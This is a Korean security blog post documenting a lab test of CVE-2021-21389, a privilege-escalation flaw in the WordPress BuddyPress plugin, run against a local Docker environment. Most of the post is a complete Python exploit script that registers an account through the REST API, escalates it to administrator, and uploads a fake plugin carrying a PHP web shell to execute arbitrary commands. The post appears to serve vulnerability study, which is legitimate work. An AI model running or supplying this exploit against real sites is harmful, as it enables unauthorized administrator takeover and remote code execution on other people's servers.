CVE-2021-21389 POC Test
작성자 - 한수임CVE-2021-21389 취약점 POC에 대한 TEST를 진행해 보도록 하겠습니다.
CVE-2021-21389 이란 : WordPress의 플러그인 인 BuddyPress에서 권한이 없는 일반 사용자가 Rest API End Point의 문제를 악용하여 관리자 권한을 얻을 수 있는 취약점입니다.
WordPress : 커뮤니티 사이트를 구축하기 위한 오픈 소스
실습 진행
환경 구성 : Docker를 이용한 환경 구성, 취약한 BuddyPress 7.2.1 이하 버전(5.0.0 ~ 7.2.0)
Docker 설치 후 Putty를 통해 Docker에 접속하여 줍니다.
도커 접속 후 ipconfig | grep inet 을 통해 Docker IP를 확인해 줍니다.
이후 Putty를 통해 원격 접속합니다.
접속하게 되면 ID/PW를 입력하게 되는데 ID : docker / PW : tcuser를 통해 접속할 수 있습니다.
이후 HoangKien1020 님이 구성해 놓은 환경을 가져다 쓰도록 하겠습니다.
명령어는
git clone https://github.com/HoangKien1020/CVE-2021-21389
위의 명령어를 통해 HoangKien1020님의 CVE-2021-21389 파일을 가져오도록 합니다.(저는 이미 생성을 해놨더니 위에 오류가 생겼네요;;)
이후 설치된 CVE-2021-21389 디렉터리로 이동해 줍니다.
cd CVE-2021-21389
다음 명령어 입력 docker build . -t hoangkien1020/buddypress:cve202121389(이미지 생성)
다음 명령어 입력 docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389(도커 실행)
이렇게 되면 도커에 워드프레스의 취약한 BuddyPress버전이 깔리게 됩니다.
이제 로컬에서 http://dockerIP:8080(dockerIP = Putty 접속을 위해 사용하던 inet addr을 통해 접속을 하게 되면 접근이 가능합니다.
이후 계정이 존재하지 않는 계정을 통해 로그인 시도를 해보겠습니다.
계정이 존재하지 않은 것을 알 수 있습니다.
이제 파이썬의 PayLoad를 통해 공격을 해보도록 하겠습니다.
자신의 로컬 PC에서 파이썬 코드를 등록해 줍니다.
파이썬 Payload
import requests
import re
import sys,json,datetime,random,string
#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}
proxies={}
# register via REST API without email confirmation
def random_char(y):
return ''.join(random.choice(string.ascii_letters) for x in range(y))
def register(url,username,password):
headers={
"Content-Type": "application/json; charset=UTF-8"
}
data={
"user_login":username,
"user_email":random_char(7)+"@test.com",
"user_name":username,
"password":password
}
r = requests.post(url+"/wp-json/buddypress/v1/signup",headers=headers,data=json.dumps(data),proxies=proxies)
if r.status_code==500 :
print("[-] That username already exists!")
print("[+] Try to login this username ....")
login(url,username,password)
elif r.status_code==404 :
print("[-] Can't register because registration is disabled!")
sys.exit(1)
else:
data=json.loads(r.text)
activation_key=data[0]["activation_key"]
#print(activation_key)
# active account
requests.put(url+"/wp-json/buddypress/v1/signup/activate/"+activation_key,proxies=proxies)
def login(url,username,password):
session = requests.Session()
creds={
'log':username,
'pwd':password
}
r=session.post(url+"/wp-login.php",data=creds,allow_redirects=False,proxies=proxies)
if (r.status_code!=302) :
print("[-] Login fail!")
sys.exit(1)
print("[+] Login successfully!")
return session
# to get X-WP-Nonce
def createNewgroup(url,s,username):
print("[+] Creating new group to get X-WP-Nonce")
# get _wpnonce
response = s.get(url+"/groups/create/step/group-details/",proxies=proxies)
if (response.status_code==404):
print("[-] The site needs to enable User Groups component!")
sys.exit(1)
_wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
#print(_wp_nonce)
group_name="cve-2021-21389"+username
files = {
'group-name': (None, group_name),
'group-desc': (None, group_name),
'_wpnonce': (None, _wp_nonce),
'group-id': (None, '0'),
'save': (None, 'Create Group and Continue')
}
s.post(url+"/groups/create/step/group-details/", files=files,proxies=proxies)
# get X-WP-Nonce
resp=s.get(url+"/groups/"+group_name+"/admin/manage-members/",proxies=proxies)
wp_nonce=re.findall('var wpApiSettings = .*\;',resp.text)
wp_nonce=re.sub('^.*\"nonce\"\:\"','',wp_nonce[0])
x_wp_nonce=re.sub('\".*$','',wp_nonce)
#print(x_wp_nonce)
return x_wp_nonce
def privilegeEscalation(url,s,x_wp_nonce):
print("[+] Privilege Escalation to Administrator!")
# Let's use that nonce in X-WP-Nonce headder
headers={
'X-WP-Nonce':x_wp_nonce,
"Content-Type": "application/json; charset=UTF-8"
}
data={
"roles":"administrator"
}
s.post(url+"/wp-json/buddypress/v1/members/me",headers=headers,data=json.dumps(data),proxies=proxies)
def rce(url,s,command):
print("[+] Checking RCE ...")
#get nonce
filename="cve202121389.php"
response = s.get(url+"/wp-admin/plugin-install.php",proxies=proxies)
if (response.status_code==403) :
print("[-] You are not an administator!")
sys.exit(1)
_wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
# select upload fake plugin to rce
files = {
'_wpnonce': (None, _wp_nonce),
'pluginzip': (filename, "<?php system($_GET['cmd']); ?>", 'application/octet-stream'),
'install-plugin-submit': (None, 'Install Now')
}
s.post(url+"/wp-admin/update.php?action=upload-plugin", files=files,proxies=proxies)
# get link rce
# get year,month
now = datetime.datetime.now()
year = '{:02d}'.format(now.year)
month = '{:02d}'.format(now.month)
print("[+] RCE via "+command+" command:")
link_shell=url+"/wp-content/uploads/"+year+"/"+month+"/"+filename+"?cmd="+command
resp=s.get(link_shell,proxies=proxies)
print(resp.text)
print("[+] Link RCE: \n"+link_shell)
print("[+] Done!")
def main():
if len(sys.argv) != 5:
print ("[+] Usage: %s <target> <new username> <new password> <command>" % sys.argv[0])
print ('[+] eg: %s http://192.168.186.130 test 1234 whoami' % sys.argv[0])
sys.exit(-1)
url=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
command=sys.argv[4]
print("[+] Try to register ...")
register(url,username,password)
print("[+] Try to login ...")
s=login(url,username,password)
x_wp_nonce=createNewgroup(url,s,username)
privilegeEscalation(url,s,x_wp_nonce)
rce(url,s,command)
if __name__ == "__main__":
main()
이후 자신의 로컬에서
파이썬을 실행시켜 줍니다.
python CVE-2021-21389.py http://DockerIP hsoo(권한 상승할 계정 ID) 1234(PW) whoami // 계정이 존재하지 않을 시 생성이 됨.
WordPress 접속 시
관리자 권한 획득 가능 확인.
'Season 1 > 기술 보안' 카테고리의 다른 글
취약한 HTTP 메소드 설정방법(feat. 서버별 설정방법) (5) | 2021.08.01 |
---|---|
[Node.JS] Web Shell 테스트 (0) | 2021.07.31 |
snort byte_test (0) | 2021.07.29 |
AWS 3-Tier Architecture 구성 ① Overview (0) | 2021.07.23 |
SSTI 실습 (0) | 2021.07.16 |